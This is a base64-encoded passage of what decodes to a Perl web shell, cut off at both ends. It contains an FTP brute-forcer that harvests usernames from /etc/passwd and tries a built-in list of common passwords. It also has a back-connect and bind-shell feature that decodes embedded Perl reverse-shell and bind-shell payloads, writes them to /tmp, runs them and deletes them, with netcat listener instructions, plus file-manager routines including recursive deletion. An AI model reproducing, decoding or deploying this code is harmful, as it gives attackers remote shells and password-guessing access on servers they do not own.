JaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZ